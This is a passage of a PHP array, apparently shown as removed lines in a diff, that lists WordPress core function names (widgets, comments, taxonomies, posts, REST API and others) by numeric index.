'wp_get_theme_data_custom_templates', - 1451 => 'wp_get_theme_data_template_parts', - 1452 => 'wp_get_block_css_selector', - 1453 => 'register_widget', - 1454 => 'unregister_widget', - 1455 => 'register_sidebars', - 1456 => 'register_sidebar', - 1457 => 'unregister_sidebar', - 1458 => 'is_registered_sidebar', - 1459 => 'wp_register_sidebar_widget', - 1460 => 'wp_widget_description', - 1461 => 'wp_sidebar_description', - 1462 => 'wp_unregister_sidebar_widget', - 1463 => 'wp_register_widget_control', - 1464 => '_register_widget_update_callback', - 1465 => '_register_widget_form_callback', - 1466 => 'wp_unregister_widget_control', - 1467 => 'dynamic_sidebar', - 1468 => 'is_active_widget', - 1469 => 'is_dynamic_sidebar', - 1470 => 'is_active_sidebar', - 1471 => 'wp_get_sidebars_widgets', - 1472 => 'wp_get_sidebar', - 1473 => 'wp_set_sidebars_widgets', - 1474 => 'wp_get_widget_defaults', - 1475 => 'wp_convert_widget_settings', - 1476 => 'the_widget', - 1477 => '_get_widget_id_base', - 1478 => '_wp_sidebars_changed', - 1479 => 'retrieve_widgets', - 1480 => 'wp_map_sidebars_widgets', - 1481 => '_wp_remove_unregistered_widgets', - 1482 => 'wp_widget_rss_output', - 1483 => 'wp_widget_rss_form', - 1484 => 'wp_widget_rss_process', - 1485 => 'wp_widgets_init', - 1486 => 'wp_setup_widgets_block_editor', - 1487 => 'wp_use_widgets_block_editor', - 1488 => 'wp_parse_widget_id', - 1489 => 'wp_find_widgets_sidebar', - 1490 => 'wp_assign_widget_to_sidebar', - 1491 => 'wp_render_widget', - 1492 => 'wp_render_widget_control', - 1493 => 'wp_check_widget_editor_deps', - 1494 => '_wp_block_theme_register_classic_sidebars', - 1495 => 'get_comment_author', - 1496 => 'comment_author', - 1497 => 'get_comment_author_email', - 1498 => 'comment_author_email', - 1499 => 'comment_author_email_link', - 1500 => 'get_comment_author_email_link', - 1501 => 'get_comment_author_link', - 1502 => 'comment_author_link', - 1503 => 'get_comment_author_IP', - 1504 => 'comment_author_IP', - 1505 => 'get_comment_author_url', - 1506 => 'comment_author_url', - 1507 => 'get_comment_author_url_link', - 1508 => 'comment_author_url_link', - 1509 => 'comment_class', - 1510 => 'get_comment_class', - 1511 => 'get_comment_date', - 1512 => 'comment_date', - 1513 => 'get_comment_excerpt', - 1514 => 'comment_excerpt', - 1515 => 'get_comment_ID', - 1516 => 'comment_ID', - 1517 => 'get_comment_link', - 1518 => 'get_comments_link', - 1519 => 'comments_link', - 1520 => 'get_comments_number', - 1521 => 'comments_number', - 1522 => 'get_comments_number_text', - 1523 => 'get_comment_text', - 1524 => 'comment_text', - 1525 => 'get_comment_time', - 1526 => 'comment_time', - 1527 => 'get_comment_type', - 1528 => 'comment_type', - 1529 => 'get_trackback_url', - 1530 => 'trackback_url', - 1531 => 'trackback_rdf', - 1532 => 'comments_open', - 1533 => 'pings_open', - 1534 => 'wp_comment_form_unfiltered_html_nonce', - 1535 => 'comments_template', - 1536 => 'comments_popup_link', - 1537 => 'get_comment_reply_link', - 1538 => 'comment_reply_link', - 1539 => 'get_post_reply_link', - 1540 => 'post_reply_link', - 1541 => 'get_cancel_comment_reply_link', - 1542 => 'cancel_comment_reply_link', - 1543 => 'get_comment_id_fields', - 1544 => 'comment_id_fields', - 1545 => 'comment_form_title', - 1546 => '_get_comment_reply_id', - 1547 => 'wp_list_comments', - 1548 => 'comment_form', - 1549 => 'wp_style_engine_get_styles', - 1550 => 'wp_style_engine_get_stylesheet_from_css_rules', - 1551 => 'wp_style_engine_get_stylesheet_from_context', - 1552 => '_wp_post_revision_fields', - 1553 => '_wp_post_revision_data', - 1554 => 'wp_save_post_revision_on_insert', - 1555 => 'wp_save_post_revision', - 1556 => 'wp_get_post_autosave', - 1557 => 'wp_is_post_revision', - 1558 => 'wp_is_post_autosave', - 1559 => '_wp_put_post_revision', - 1560 => 'wp_save_revisioned_meta_fields', - 1561 => 'wp_get_post_revision', - 1562 => 'wp_restore_post_revision', - 1563 => 'wp_restore_post_revision_meta', - 1564 => '_wp_copy_post_meta', - 1565 => 'wp_post_revision_meta_keys', - 1566 => 'wp_check_revisioned_meta_fields_have_changed', - 1567 => 'wp_delete_post_revision', - 1568 => 'wp_get_post_revisions', - 1569 => 'wp_get_latest_revision_id_and_total_count', - 1570 => 'wp_get_post_revisions_url', - 1571 => 'wp_revisions_enabled', - 1572 => 'wp_revisions_to_keep', - 1573 => '_set_preview', - 1574 => '_show_post_preview', - 1575 => '_wp_preview_terms_filter', - 1576 => '_wp_preview_post_thumbnail_filter', - 1577 => '_wp_get_post_revision_version', - 1578 => '_wp_upgrade_revisions_of_post', - 1579 => '_wp_preview_meta_filter', - 1580 => 'create_initial_taxonomies', - 1581 => 'get_taxonomies', - 1582 => 'get_object_taxonomies', - 1583 => 'get_taxonomy', - 1584 => 'taxonomy_exists', - 1585 => 'is_taxonomy_hierarchical', - 1586 => 'register_taxonomy', - 1587 => 'unregister_taxonomy', - 1588 => 'get_taxonomy_labels', - 1589 => 'register_taxonomy_for_object_type', - 1590 => 'unregister_taxonomy_for_object_type', - 1591 => 'get_objects_in_term', - 1592 => 'get_tax_sql', - 1593 => 'get_term', - 1594 => 'get_term_by', - 1595 => 'get_term_children', - 1596 => 'get_term_field', - 1597 => 'get_term_to_edit', - 1598 => 'get_terms', - 1599 => 'add_term_meta', - 1600 => 'delete_term_meta', - 1601 => 'get_term_meta', - 1602 => 'update_term_meta', - 1603 => 'update_termmeta_cache', - 1604 => 'wp_lazyload_term_meta', - 1605 => 'has_term_meta', - 1606 => 'register_term_meta', - 1607 => 'unregister_term_meta', - 1608 => 'term_exists', - 1609 => 'term_is_ancestor_of', - 1610 => 'sanitize_term', - 1611 => 'sanitize_term_field', - 1612 => 'wp_count_terms', - 1613 => 'wp_delete_object_term_relationships', - 1614 => 'wp_delete_term', - 1615 => 'wp_delete_category', - 1616 => 'wp_get_object_terms', - 1617 => 'wp_insert_term', - 1618 => 'wp_set_object_terms', - 1619 => 'wp_add_object_terms', - 1620 => 'wp_remove_object_terms', - 1621 => 'wp_unique_term_slug', - 1622 => 'wp_update_term', - 1623 => 'wp_defer_term_counting', - 1624 => 'wp_update_term_count', - 1625 => 'wp_update_term_count_now', - 1626 => 'clean_object_term_cache', - 1627 => 'clean_term_cache', - 1628 => 'clean_taxonomy_cache', - 1629 => 'get_object_term_cache', - 1630 => 'update_object_term_cache', - 1631 => 'update_term_cache', - 1632 => '_get_term_hierarchy', - 1633 => '_get_term_children', - 1634 => '_pad_term_counts', - 1635 => '_prime_term_caches', - 1636 => '_update_post_term_count', - 1637 => '_update_generic_term_count', - 1638 => '_split_shared_term', - 1639 => '_wp_batch_split_terms', - 1640 => '_wp_check_for_scheduled_split_terms', - 1641 => '_wp_check_split_default_terms', - 1642 => '_wp_check_split_terms_in_menus', - 1643 => '_wp_check_split_nav_menu_terms', - 1644 => 'wp_get_split_terms', - 1645 => 'wp_get_split_term', - 1646 => 'wp_term_is_shared', - 1647 => 'get_term_link', - 1648 => 'the_taxonomies', - 1649 => 'get_the_taxonomies', - 1650 => 'get_post_taxonomies', - 1651 => 'is_object_in_term', - 1652 => 'is_object_in_taxonomy', - 1653 => 'get_ancestors', - 1654 => 'wp_get_term_taxonomy_parent_id', - 1655 => 'wp_check_term_hierarchy_for_loops', - 1656 => 'is_taxonomy_viewable', - 1657 => 'is_term_publicly_viewable', - 1658 => 'wp_cache_set_terms_last_changed', - 1659 => 'wp_check_term_meta_support_prefilter', - 1660 => 'get_categories', - 1661 => 'get_category', - 1662 => 'get_category_by_path', - 1663 => 'get_category_by_slug', - 1664 => 'get_cat_ID', - 1665 => 'get_cat_name', - 1666 => 'cat_is_ancestor_of', - 1667 => 'sanitize_category', - 1668 => 'sanitize_category_field', - 1669 => 'get_tags', - 1670 => 'get_tag', - 1671 => 'clean_category_cache', - 1672 => '_make_cat_compat', - 1673 => 'get_bloginfo_rss', - 1674 => 'bloginfo_rss', - 1675 => 'get_default_feed', - 1676 => 'get_wp_title_rss', - 1677 => 'wp_title_rss', - 1678 => 'get_the_title_rss', - 1679 => 'the_title_rss', - 1680 => 'get_the_content_feed', - 1681 => 'the_content_feed', - 1682 => 'the_excerpt_rss', - 1683 => 'the_permalink_rss', - 1684 => 'comments_link_feed', - 1685 => 'comment_guid', - 1686 => 'get_comment_guid', - 1687 => 'comment_link', - 1688 => 'get_comment_author_rss', - 1689 => 'comment_author_rss', - 1690 => 'comment_text_rss', - 1691 => 'get_the_category_rss', - 1692 => 'the_category_rss', - 1693 => 'html_type_rss', - 1694 => 'rss_enclosure', - 1695 => 'atom_enclosure', - 1696 => 'prep_atom_text_construct', - 1697 => 'atom_site_icon', - 1698 => 'rss2_site_icon', - 1699 => 'get_self_link', - 1700 => 'self_link', - 1701 => 'get_feed_build_date', - 1702 => 'feed_content_type', - 1703 => 'fetch_feed', - 1704 => 'wp_cache_add_multiple', - 1705 => 'wp_cache_set_multiple', - 1706 => 'wp_cache_get_multiple', - 1707 => 'wp_cache_delete_multiple', - 1708 => 'wp_cache_flush_runtime', - 1709 => 'wp_cache_flush_group', - 1710 => 'wp_cache_supports', - 1711 => 'wp_cache_get_salted', - 1712 => 'wp_cache_set_salted', - 1713 => 'wp_cache_get_multiple_salted', - 1714 => 'wp_cache_set_multiple_salted', - 1715 => 'wp_cache_switch_to_blog', - 1716 => 'wp_version_check', - 1717 => 'wp_update_plugins', - 1718 => 'wp_update_themes', - 1719 => 'wp_maybe_auto_update', - 1720 => 'wp_get_translation_updates', - 1721 => 'wp_get_update_data', - 1722 => '_maybe_update_core', - 1723 => '_maybe_update_plugins', - 1724 => '_maybe_update_themes', - 1725 => 'wp_schedule_update_checks', - 1726 => 'wp_clean_update_cache', - 1727 => 'wp_delete_all_temp_backups', - 1728 => '_wp_delete_all_temp_backups', - 1729 => 'wp_get_server_protocol', - 1730 => 'wp_fix_server_vars', - 1731 => 'wp_populate_basic_auth_from_authorization_header', - 1732 => 'wp_check_php_mysql_versions', - 1733 => 'wp_get_environment_type', - 1734 => 'wp_get_development_mode', - 1735 => 'wp_is_development_mode', - 1736 => 'wp_favicon_request', - 1737 => 'wp_maintenance', - 1738 => 'wp_is_maintenance_mode', - 1739 => 'timer_float', - 1740 => 'timer_start', - 1741 => 'timer_stop', - 1742 => 'wp_debug_mode', - 1743 => 'wp_set_lang_dir', - 1744 => 'require_wp_db', - 1745 => 'wp_set_wpdb_vars', - 1746 => 'wp_using_ext_object_cache', - 1747 => 'wp_start_object_cache', - 1748 => 'wp_not_installed', - 1749 => 'wp_get_mu_plugins', - 1750 => 'wp_get_active_and_valid_plugins', - 1751 => 'wp_skip_paused_plugins', - 1752 => 'wp_get_active_and_valid_themes', - 1753 => 'wp_skip_paused_themes', - 1754 => 'wp_is_recovery_mode', - 1755 => 'is_protected_endpoint', - 1756 => 'is_protected_ajax_action', - 1757 => 'wp_set_internal_encoding', - 1758 => 'wp_magic_quotes', - 1759 => 'shutdown_action_hook', - 1760 => 'wp_clone', - 1761 => 'is_login', - 1763 => 'is_blog_admin', - 1764 => 'is_network_admin', - 1765 => 'is_user_admin', - 1766 => 'is_multisite', - 1767 => 'absint', - 1768 => 'get_current_blog_id', - 1769 => 'get_current_network_id', - 1770 => 'wp_load_translations_early', - 1771 => 'wp_installing', - 1772 => 'is_ssl', - 1773 => 'wp_convert_hr_to_bytes', - 1774 => 'wp_is_ini_value_changeable', - 1775 => 'wp_doing_ajax', - 1776 => 'wp_using_themes', - 1777 => 'wp_doing_cron', - 1778 => 'is_wp_error', - 1779 => 'wp_is_file_mod_allowed', - 1780 => 'wp_start_scraping_edited_file_errors', - 1781 => 'wp_finalize_scraping_edited_file_errors', - 1782 => 'wp_is_json_request', - 1783 => 'wp_is_jsonp_request', - 1784 => 'wp_is_json_media_type', - 1785 => 'wp_is_xml_request', - 1786 => 'wp_is_site_protected_by_basic_auth', - 1787 => 'wptexturize', - 1788 => 'wptexturize_primes', - 1789 => '_wptexturize_pushpop_element', - 1790 => 'wpautop', - 1791 => 'wp_html_split', - 1792 => 'get_html_split_regex', - 1793 => '_get_wptexturize_split_regex', - 1794 => '_get_wptexturize_shortcode_regex', - 1795 => 'wp_replace_in_html_tags', - 1796 => '_autop_newline_preservation_helper', - 1797 => 'shortcode_unautop', - 1798 => 'seems_utf8', - 1799 => '_wp_specialchars', - 1800 => 'wp_specialchars_decode', - 1801 => 'wp_check_invalid_utf8', - 1802 => 'utf8_uri_encode', - 1803 => 'remove_accents', - 1804 => 'sanitize_file_name', - 1805 => 'sanitize_user', - 1806 => 'sanitize_key', - 1807 => 'sanitize_title', - 1808 => 'sanitize_title_for_query', - 1809 => 'sanitize_title_with_dashes', - 1810 => 'sanitize_sql_orderby', - 1811 => 'sanitize_html_class', - 1812 => 'sanitize_locale_name', - 1813 => 'convert_chars', - 1814 => 'convert_invalid_entities', - 1815 => 'balanceTags', - 1816 => 'force_balance_tags', - 1817 => 'format_to_edit', - 1818 => 'zeroise', - 1819 => 'backslashit', - 1820 => 'trailingslashit', - 1821 => 'untrailingslashit', - 1822 => 'stripslashes_deep', - 1823 => 'stripslashes_from_strings_only', - 1824 => 'urlencode_deep', - 1825 => 'rawurlencode_deep', - 1826 => 'urldecode_deep', - 1827 => 'antispambot', - 1828 => '_make_url_clickable_cb', - 1829 => '_make_web_ftp_clickable_cb', - 1830 => '_make_email_clickable_cb', - 1831 => '_make_clickable_rel_attr', - 1832 => 'make_clickable', - 1833 => '_split_str_by_whitespace', - 1834 => 'wp_rel_callback', - 1835 => 'wp_rel_nofollow', - 1836 => 'wp_rel_nofollow_callback', - 1837 => 'wp_rel_ugc', - 1838 => 'wp_targeted_link_rel', - 1839 => 'wp_targeted_link_rel_callback', - 1840 => 'wp_init_targeted_link_rel_filters', - 1841 => 'wp_remove_targeted_link_rel_filters', - 1842 => 'translate_smiley', - 1843 => 'convert_smilies', - 1844 => 'is_email', - 1845 => 'wp_iso_descrambler', - 1846 => '_wp_iso_convert', - 1847 => 'get_gmt_from_date', - 1848 => 'get_date_from_gmt', - 1849 => 'iso8601_timezone_to_offset', - 1850 => 'iso8601_to_datetime', - 1851 => 'sanitize_email', - 1852 => 'human_time_diff', - 1853 => 'wp_trim_excerpt', - 1854 => 'wp_trim_words', - 1855 => 'ent2ncr', - 1856 => 'format_for_editor', - 1857 => '_deep_replace', - 1858 => 'esc_sql', - 1859 => 'esc_url', - 1860 => 'esc_url_raw', - 1861 => 'sanitize_url', - 1862 => 'htmlentities2', - 1863 => 'esc_js', - 1864 => 'esc_html', - 1866 => 'esc_textarea', - 1867 => 'esc_xml', - 1868 => 'tag_escape', - 1869 => 'wp_make_link_relative', - 1870 => 'sanitize_option', - 1871 => 'map_deep', - 1872 => 'wp_parse_str', - 1873 => 'wp_pre_kses_less_than', - 1874 => 'wp_pre_kses_less_than_callback', - 1875 => 'wp_pre_kses_block_attributes', - 1876 => 'wp_sprintf', - 1877 => 'wp_sprintf_l', - 1878 => 'wp_html_excerpt', - 1879 => 'links_add_base_url', - 1880 => '_links_add_base', - 1881 => 'links_add_target', - 1882 => '_links_add_target', - 1883 => 'normalize_whitespace', - 1884 => 'wp_strip_all_tags', - 1885 => 'sanitize_text_field', - 1886 => 'sanitize_textarea_field', - 1887 => '_sanitize_text_fields', - 1888 => 'wp_basename', - 1889 => 'capital_P_dangit', - 1890 => 'sanitize_mime_type', - 1891 => 'sanitize_trackback_urls', - 1892 => 'wp_slash', - 1893 => 'wp_unslash', - 1894 => 'get_url_in_content', - 1895 => 'wp_spaces_regexp', - 1896 => 'wp_enqueue_emoji_styles', - 1897 => 'print_emoji_detection_script', - 1898 => '_print_emoji_detection_script', - 1899 => 'wp_encode_emoji', - 1900 => 'wp_staticize_emoji', - 1901 => 'wp_staticize_emoji_for_email', - 1902 => '_wp_emoji_list', - 1903 => 'url_shorten', - 1904 => 'sanitize_hex_color', - 1905 => 'sanitize_hex_color_no_hash', - 1906 => 'maybe_hash_hex_color', - 1907 => 'get_sitestats', - 1908 => 'get_active_blog_for_user', - 1909 => 'get_blog_count', - 1910 => 'get_blog_post', - 1911 => 'add_user_to_blog', - 1912 => 'remove_user_from_blog', - 1913 => 'get_blog_permalink', - 1914 => 'get_blog_id_from_url', - 1915 => 'is_email_address_unsafe', - 1916 => 'wpmu_validate_user_signup', - 1917 => 'wpmu_validate_blog_signup', - 1918 => 'wpmu_signup_blog', - 1919 => 'wpmu_signup_user', - 1920 => 'wpmu_signup_blog_notification', - 1921 => 'wpmu_signup_user_notification', - 1922 => 'wpmu_activate_signup', - 1923 => 'wp_delete_signup_on_user_delete', - 1924 => 'wpmu_create_user', - 1925 => 'wpmu_create_blog', - 1926 => 'newblog_notify_siteadmin', - 1927 => 'newuser_notify_siteadmin', - 1928 => 'domain_exists', - 1929 => 'wpmu_welcome_notification', - 1930 => 'wpmu_new_site_admin_notification', - 1931 => 'wpmu_welcome_user_notification', - 1932 => 'get_current_site', - 1933 => 'get_most_recent_post_of_user', - 1934 => 'check_upload_mimes', - 1935 => 'update_posts_count', - 1936 => 'wpmu_log_new_registrations', - 1937 => 'redirect_this_site', - 1938 => 'upload_is_file_too_big', - 1939 => 'signup_nonce_fields', - 1940 => 'signup_nonce_check', - 1941 => 'maybe_redirect_404', - 1942 => 'maybe_add_existing_user_to_blog', - 1943 => 'add_existing_user_to_blog', - 1944 => 'add_new_user_to_blog', - 1945 => 'fix_phpmailer_messageid', - 1946 => 'is_user_spammy', - 1947 => 'update_blog_public', - 1948 => 'users_can_register_signup_filter', - 1949 => 'welcome_user_msg_filter', - 1950 => 'force_ssl_content', - 1951 => 'filter_SSL', - 1952 => 'wp_schedule_update_network_counts', - 1953 => 'wp_update_network_counts', - 1954 => 'wp_maybe_update_network_site_counts', - 1955 => 'wp_maybe_update_network_user_counts', - 1956 => 'wp_update_network_site_counts', - 1957 => 'wp_update_network_user_counts', - 1958 => 'get_space_used', - 1959 => 'get_space_allowed', - 1960 => 'get_upload_space_available', - 1961 => 'is_upload_space_available', - 1962 => 'upload_size_limit_filter', - 1963 => 'wp_is_large_network', - 1964 => 'get_subdirectory_reserved_names', - 1965 => 'update_network_option_new_admin_email', - 1966 => 'wp_network_admin_email_change_notification', - 1967 => '_wp_scan_utf8', - 1968 => '_wp_is_valid_utf8_fallback', - 1969 => '_wp_scrub_utf8_fallback', - 1970 => '_wp_utf8_codepoint_count', - 1971 => '_wp_utf8_codepoint_span', - 1972 => '_wp_has_noncharacters_fallback', - 1973 => '_wp_utf8_encode_fallback', - 1974 => '_wp_utf8_decode_fallback', - 1975 => 'wp_kses', - 1976 => 'wp_kses_one_attr', - 1977 => 'wp_kses_allowed_html', - 1978 => 'wp_kses_hook', - 1979 => 'wp_kses_version', - 1980 => 'wp_kses_split', - 1981 => 'wp_kses_uri_attributes', - 1982 => '_wp_kses_split_callback', - 1983 => 'wp_kses_split2', - 1984 => 'wp_kses_attr', - 1985 => 'wp_kses_attr_check', - 1986 => 'wp_kses_hair', - 1987 => 'wp_kses_attr_parse', - 1988 => 'wp_kses_hair_parse', - 1989 => 'wp_kses_check_attr_val', - 1990 => 'wp_kses_bad_protocol', - 1991 => 'wp_kses_no_null', - 1992 => 'wp_kses_stripslashes', - 1993 => 'wp_kses_array_lc', - 1994 => 'wp_kses_html_error', - 1995 => 'wp_kses_bad_protocol_once', - 1996 => 'wp_kses_bad_protocol_once2', - 1997 => 'wp_kses_normalize_entities', - 1998 => 'wp_kses_named_entities', - 1999 => 'wp_kses_xml_named_entities', - 2000 => 'wp_kses_normalize_entities2', - 2001 => 'wp_kses_normalize_entities3', - 2002 => 'valid_unicode', - 2003 => 'wp_kses_decode_entities', - 2004 => '_wp_kses_decode_entities_chr', - 2005 => '_wp_kses_decode_entities_chr_hexdec', - 2006 => 'wp_filter_kses', - 2007 => 'wp_kses_data', - 2008 => 'wp_filter_post_kses', - 2009 => 'wp_filter_global_styles_post', - 2010 => 'wp_kses_post', - 2011 => 'wp_kses_post_deep', - 2012 => 'wp_filter_nohtml_kses', - 2013 => 'kses_init_filters', - 2014 => 'kses_remove_filters', - 2015 => 'kses_init', - 2016 => 'safecss_filter_attr', - 2017 => '_wp_add_global_attributes', - 2018 => '_wp_kses_allow_pdf_objects', - 2019 => 'create_initial_post_types', - 2020 => 'get_attached_file', - 2021 => 'update_attached_file', - 2022 => '_wp_relative_upload_path', - 2023 => 'get_children', - 2024 => 'get_extended', - 2025 => 'get_post', - 2026 => 'get_post_ancestors', - 2027 => 'get_post_field', - 2028 => 'get_post_mime_type', - 2029 => 'get_post_status', - 2030 => 'get_post_statuses', - 2031 => 'get_page_statuses', - 2032 => '_wp_privacy_statuses', - 2033 => 'register_post_status', - 2034 => 'get_post_status_object', - 2035 => 'get_post_stati', - 2036 => 'is_post_type_hierarchical', - 2037 => 'post_type_exists', - 2038 => 'get_post_type', - 2039 => 'get_post_type_object', - 2040 => 'get_post_types', - 2041 => 'register_post_type', - 2042 => 'unregister_post_type', - 2043 => 'get_post_type_capabilities', - 2044 => '_post_type_meta_capabilities', - 2045 => 'get_post_type_labels', - 2046 => '_get_custom_object_labels', - 2047 => '_add_post_type_submenus', - 2048 => 'add_post_type_support', - 2049 => 'remove_post_type_support', - 2050 => 'get_all_post_type_supports', - 2051 => 'post_type_supports', - 2052 => 'get_post_types_by_support', - 2053 => 'set_post_type', - 2054 => 'is_post_type_viewable', - 2055 => 'is_post_status_viewable', - 2056 => 'is_post_publicly_viewable', - 2057 => 'is_post_embeddable', - 2058 => 'get_posts', - 2059 => 'add_post_meta', - 2060 => 'delete_post_meta', - 2061 => 'get_post_meta', - 2062 => 'update_post_meta', - 2063 => 'delete_post_meta_by_key', - 2064 => 'register_post_meta', - 2065 => 'unregister_post_meta', - 2066 => 'get_post_custom', - 2067 => 'get_post_custom_keys', - 2068 => 'get_post_custom_values', - 2069 => 'is_sticky', - 2070 => 'sanitize_post', - 2071 => 'sanitize_post_field', - 2072 => 'stick_post', - 2073 => 'unstick_post', - 2074 => '_count_posts_cache_key', - 2075 => 'wp_count_posts', - 2076 => 'wp_count_attachments', - 2077 => 'get_post_mime_types', - 2078 => 'wp_match_mime_types', - 2079 => 'wp_post_mime_type_where', - 2080 => 'wp_delete_post', - 2081 => '_reset_front_page_settings_for_post', - 2082 => 'wp_trash_post', - 2083 => 'wp_untrash_post', - 2084 => 'wp_trash_post_comments', - 2085 => 'wp_untrash_post_comments', - 2086 => 'wp_get_post_categories', - 2087 => 'wp_get_post_tags', - 2088 => 'wp_get_post_terms', - 2089 => 'wp_get_recent_posts', - 2090 => 'wp_insert_post', - 2091 => 'wp_update_post', - 2092 => 'wp_publish_post', - 2093 => 'check_and_publish_future_post', - 2094 => 'wp_resolve_post_date', - 2095 => 'wp_unique_post_slug', - 2096 => '_truncate_post_slug', - 2097 => 'wp_add_post_tags', - 2098 => 'wp_set_post_tags', - 2099 => 'wp_set_post_terms', - 2100 => 'wp_set_post_categories', - 2101 => 'wp_transition_post_status', - 2102 => 'wp_after_insert_post', - 2103 => 'add_ping', - 2104 => 'get_enclosed', - 2105 => 'get_pung', - 2106 => 'get_to_ping', - 2107 => 'trackback_url_list', - 2108 => 'get_all_page_ids', - 2109 => 'get_page', - 2110 => 'get_page_by_path', - 2111 => 'get_page_children', - 2112 => 'get_page_hierarchy', - 2113 => '_page_traverse_name', - 2114 => 'get_page_uri', - 2115 => 'get_pages', - 2116 => 'is_local_attachment', - 2117 => 'wp_insert_attachment', - 2118 => 'wp_delete_attachment', - 2119 => 'wp_delete_attachment_files', - 2120 => 'wp_get_attachment_metadata', - 2121 => 'wp_update_attachment_metadata', - 2122 => 'wp_get_attachment_url', - 2123 => 'wp_get_attachment_caption', - 2124 => 'wp_get_attachment_thumb_url', - 2125 => 'wp_attachment_is', - 2126 => 'wp_attachment_is_image', - 2127 => 'wp_mime_type_icon', - 2128 => 'wp_check_for_changed_slugs', - 2129 => 'wp_check_for_changed_dates', - 2130 => 'get_private_posts_cap_sql', - 2131 => 'get_posts_by_author_sql', - 2132 => 'get_lastpostdate', - 2133 => 'get_lastpostmodified', - 2134 => '_get_last_post_time', - 2135 => 'update_post_cache', - 2136 => 'clean_post_cache', - 2137 => 'update_post_caches', - 2138 => 'update_post_author_caches', - 2139 => 'update_post_parent_caches', - 2140 => 'update_postmeta_cache', - 2141 => 'clean_attachment_cache', - 2142 => '_transition_post_status', - 2143 => '_future_post_hook', - 2144 => '_publish_post_hook', - 2145 => 'wp_get_post_parent_id', - 2146 => 'wp_check_post_hierarchy_for_loops', - 2147 => 'set_post_thumbnail', - 2148 => 'delete_post_thumbnail', - 2149 => 'wp_delete_auto_drafts', - 2150 => 'wp_queue_posts_for_term_meta_lazyload', - 2151 => '_update_term_count_on_transition_post_status', - 2152 => '_prime_post_caches', - 2153 => '_prime_post_parent_id_caches', - 2154 => 'wp_add_trashed_suffix_to_post_name_for_trashed_posts', - 2155 => 'wp_add_trashed_suffix_to_post_name_for_post', - 2156 => 'wp_cache_set_posts_last_changed', - 2157 => 'get_available_post_mime_types', - 2158 => 'wp_get_original_image_path', - 2159 => 'wp_get_original_image_url', - 2160 => 'wp_untrash_post_set_previous_status', - 2161 => 'use_block_editor_for_post', - 2162 => 'use_block_editor_for_post_type', - 2163 => 'wp_create_initial_post_meta', - 2164 => 'wp_simplepie_autoload', - 2165 => 'wp_is_valid_utf8', - 2166 => 'wp_scrub_utf8', - 2167 => 'wp_has_noncharacters', - 2168 => 'register_rest_route', - 2169 => 'register_rest_field', - 2170 => 'rest_api_init', - 2171 => 'rest_api_register_rewrites', - 2172 => 'rest_api_default_filters', - 2173 => 'create_initial_rest_routes', - 2174 => 'rest_api_loaded', - 2175 => 'rest_get_url_prefix', - 2176 => 'get_rest_url', - 2177 => 'rest_url', - 2178 => 'rest_do_request', - 2179 => 'rest_get_server', - 2180 => 'rest_ensure_request', - 2181 => 'rest_ensure_response', - 2182 => 'rest_handle_deprecated_function', - 2183 => 'rest_handle_deprecated_argument', - 2184 => 'rest_handle_doing_it_wrong', - 2185 => 'rest_send_cors_headers', - 2186 => 'rest_handle_options_request', - 2187 => 'rest_send_allow_header', - 2188 => '_rest_array_intersect_key_recursive', - 2189 => 'rest_filter_response_fields', - 2190 => 'rest_is_field_included', - 2191 => 'rest_output_rsd', - 2192 => 'rest_output_link_wp_head', - 2193 => 'rest_output_link_header', - 2194 => 'rest_cookie_check_errors', - 2195 => 'rest_cookie_collect_status', - 2196 => 'rest_application_password_collect_status', - 2197 => 'rest_get_authenticated_app_password', - 2198 => 'rest_application_password_check_errors', - 2199 => 'rest_add_application_passwords_to_index', - 2200 => 'rest_get_avatar_urls', - 2201 => 'rest_get_avatar_sizes', - 2202 => 'rest_parse_date', - 2203 => 'rest_parse_hex_color', - 2204 => 'rest_get_date_with_gmt', - 2205 => 'rest_authorization_required_code', - 2206 => 'rest_validate_request_arg', - 2207 => 'rest_sanitize_request_arg', - 2208 => 'rest_parse_request_arg', - 2209 => 'rest_is_ip_address', - 2210 => 'rest_sanitize_boolean', - 2211 => 'rest_is_boolean', - 2212 => 'rest_is_integer', - 2213 => 'rest_is_array', - 2214 => 'rest_sanitize_array', - 2215 => 'rest_is_object', - 2216 => 'rest_sanitize_object', - 2217 => 'rest_get_best_type_for_value', - 2218 => 'rest_handle_multi_type_schema', - 2219 => 'rest_validate_array_contains_unique_items', - 2220 => 'rest_stabilize_value', - 2221 => 'rest_validate_json_schema_pattern', - 2222 => 'rest_find_matching_pattern_property_schema', - 2223 => 'rest_format_combining_operation_error', - 2224 => 'rest_get_combining_operation_error', - 2225 => 'rest_find_any_matching_schema', - 2226 => 'rest_find_one_matching_schema', - 2227 => 'rest_are_values_equal', - 2228 => 'rest_validate_enum', - 2229 => 'rest_get_allowed_schema_keywords', - 2230 => 'rest_validate_value_from_schema', - 2231 => 'rest_validate_null_value_from_schema', - 2232 => 'rest_validate_boolean_value_from_schema', - 2233 => 'rest_validate_object_value_from_schema', - 2234 => 'rest_validate_array_value_from_schema', - 2235 => 'rest_validate_number_value_from_schema', - 2236 => 'rest_validate_string_value_from_schema', - 2237 => 'rest_validate_integer_value_from_schema', - 2238 => 'rest_sanitize_value_from_schema', - 2239 => 'rest_preload_api_request', - 2240 => 'rest_parse_embed_param', - 2241 => 'rest_filter_response_by_context', - 2242 => 'rest_default_additional_properties_to_false', - 2243 => 'rest_get_route_for_post', - 2244 => 'rest_get_route_for_post_type_items', - 2245 => 'rest_get_route_for_term', - 2246 => 'rest_get_route_for_taxonomy_items', - 2247 => 'rest_get_queried_resource_route', - 2248 => 'rest_get_endpoint_args_for_schema', - 2249 => 'rest_convert_error_to_response', - 2250 => 'wp_is_rest_endpoint', - 2252 => 'redirect_canonical', - 2253 => '_remove_qs_args_if_not_in_url', - 2254 => 'strip_fragment_from_url', - 2255 => 'redirect_guess_404_permalink', - 2256 => 'wp_redirect_admin_locations', - 2257 => 'wp_cache_init', - 2258 => 'wp_cache_add', - 2260 => 'wp_cache_replace', - 2261 => 'wp_cache_set', - 2263 => 'wp_cache_get', - 2265 => 'wp_cache_delete', - 2267 => 'wp_cache_incr', - 2268 => 'wp_cache_decr', - 2269 => 'wp_cache_flush', - 2273 => 'wp_cache_close', - 2274 => 'wp_cache_add_global_groups', - 2275 => 'wp_cache_add_non_persistent_groups', - 2277 => 'wp_cache_reset', - 2278 => 'wp_register_ability', - 2279 => 'wp_unregister_ability', - 2280 => 'wp_has_ability', - 2281 => 'wp_get_ability', - 2282 => 'wp_get_abilities', - 2283 => 'wp_register_ability_category', - 2284 => 'wp_unregister_ability_category', - 2285 => 'wp_has_ability_category', - 2286 => 'wp_get_ability_category', - 2287 => 'wp_get_ability_categories', - 2288 => 'the_ID', - 